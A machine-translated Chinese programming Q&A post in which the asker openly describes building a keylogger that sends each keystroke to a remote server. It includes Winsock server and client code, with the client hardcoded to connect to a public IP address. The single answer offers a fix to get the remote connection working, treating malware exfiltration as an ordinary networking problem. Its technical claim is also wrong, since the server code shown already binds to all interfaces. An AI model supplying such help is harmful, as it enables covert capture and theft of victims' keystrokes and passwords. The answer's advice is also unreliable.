我正在创建一个键盘记录器,将每次击键发送到远程服务器。到目前为止,它仅在我将localhost设置为地址时才有效。否则,客户端服务器连接根本不起作用....我已确保端口在我的路由器上打开。我需要做些什么工作?
服务器(当客户端和服务器使用localhost时,所有发送和接收都工作,它在别处obv处理):
SOCKET retConnect() {
SOCKADDR_IN addr;
int addrlen = sizeof(addr);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(9901);
addr.sin_family = AF_INET;
SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL);
bind(sListen, (SOCKADDR*)&addr, sizeof(addr));
listen(sListen, SOMAXCONN);
SOCKET newConnection;
newConnection = accept(sListen, (SOCKADDR*)&addr, &addrlen);
return newConnection;
}
客户端(当客户端和服务器使用localhost时,所有发送和接收都工作,它在别处obv处理):
SOCKET retconnect() {
SOCKADDR_IN addr;
int sizeofaddr = sizeof(addr);
addr.sin_addr.s_addr = inet_addr("72.208.184.42");
addr.sin_port = htons(9901);
addr.sin_family = AF_INET;
SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
if (connect(Connection, (SOCKADDR*)&addr, sizeofaddr) != 0)
{
MessageBoxA(NULL, "Failed to Connect, are you connected to the same port as the server?", "Error", MB_OK | MB_ICONERROR);
return 0; //Failed to Connect
}
else return Connection;
}
编辑:客户端未连接到远程服务器。
我并不完全熟悉很多网络术语,所以请简单解释一下。
答案 0 :(得分:0)
由于您的服务器仅绑定localhost(127.0.0.1)。
更改listen' 127.0.0.1'的IP地址至' 0.0.0.0'或' 72.208.184.42'正如您的客户端代码所做的那样。